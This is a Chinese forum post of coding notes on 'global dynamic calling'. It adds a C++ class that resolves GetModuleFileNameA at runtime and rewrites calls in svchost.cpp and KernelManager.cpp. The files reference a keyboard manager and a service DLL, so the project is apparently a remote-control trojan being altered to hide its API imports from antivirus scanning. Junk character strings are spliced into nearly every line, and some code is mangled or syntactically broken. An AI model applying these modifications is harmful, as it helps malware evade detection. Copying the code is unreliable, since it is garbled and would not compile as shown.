[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记4 U1 b! m3 ^/ L& Q5 p/ h
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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" c* c2 ]! e2 g( Z; z7 pDTDY.h：) B+ r" z# x0 t. Z3 }) U5 A
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#if _MSC_VER>1000
: R8 K: N" V1 s% {; F- {6 w  m  s0 z#pragma once
1 O: [( l* Y; |; C" |#endif //_MSC_VER>1000
1 y* J3 C' f% w8 _#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);  d$ E, ], |) g: F* k, d5 d& i
class DTDY6 Q  v4 ~7 a3 @  z7 c( ~
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public:- ]: O0 ~# P* W& \  z' ]5 o
DTDY();/ J; z  ?; N2 w# F6 w- V7 \
virtual ~DTDY();
! w0 D7 I* d/ j9 C- v9 l; ]0 Epublic:
# A/ M5 k% i$ ^  Bstatic pGetModuleFileNameA MyGetModuleFileName;
: m  M0 L  a- }1 B2 bstatic BOOL FunInitiallization();
4 Z  A4 {* M5 S# B; G};
, a  _% i' R2 Y! t8 m# w( r#endif
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DTDY.cpp:5 O1 H" [1 P" Z+ `
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#include "DTDY.h"
& I: {% q3 {* @( hpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
" G/ g. u. Q. Z; @; Q  vDTDY:TDY()+ j+ |/ o7 G0 ~
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}
$ Q1 j+ T- }! C6 @+ \, `& EDTDY::~DTDY()+ y; g/ P  u1 n# N5 |1 @
{
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BOOL DTDY::FunInitiallization()3 M( _! g4 L3 {; l6 W) ^, \, v" o
{
, S6 U; J1 W; D' N5 B8 D. p; ?HMODULE hModule=LoadLibrary("kernel32.dll");+ b+ |4 k6 Z: U! B- E
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");$ M2 V1 b1 x/ l; [2 M. f
if(!MyGetModuleFileName=) return FALSE;- V5 h6 q# Z6 L' b3 d) _" x$ {9 n

7 n5 p2 x' g; K2 O: vreturn TRUE;$ d- t3 D  }9 a5 G! A
}
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svchost.cpp:% e: }) c; y) Q. F# I
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#include "DTDY.h"# f; l! c2 i- {3 B" k# t

7 S- ^) g: ~2 \" d3 oBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
4 W3 F5 V6 n2 q* C{
6 n3 {7 ~# R7 K+ y% G. N6 J' {switch(ul_reason_for_call)& j2 k' R* w3 ^+ t
{  l8 u8 z- t' T* u  ^
case DLL_PROCESS_ATTACH:: Q. ?2 U0 G: h6 t
if(!DTDY::FunInitiallization()) return FALSE;
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}
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% _( ^9 j1 [8 L! WGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
6 w- K  Y/ v5 b% k# {8 ?" Q改写为
( I( Q: [- p0 c7 G& `" f. L! t; |DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));  ~5 {5 Z* x7 Z* ^! `: D) L
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6 D) \8 t' E0 oKernelManager.cpp:
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#include "../DTDY.h"* i/ B- e! N* Y! F& j
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
! P2 ?; T' k& A5 v3 n  ^4 u1 l改写为
& ?! t. b+ @4 a, `4 z8 T# ~! BDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));7 `; M& ?" Q8 s$ A" i: [
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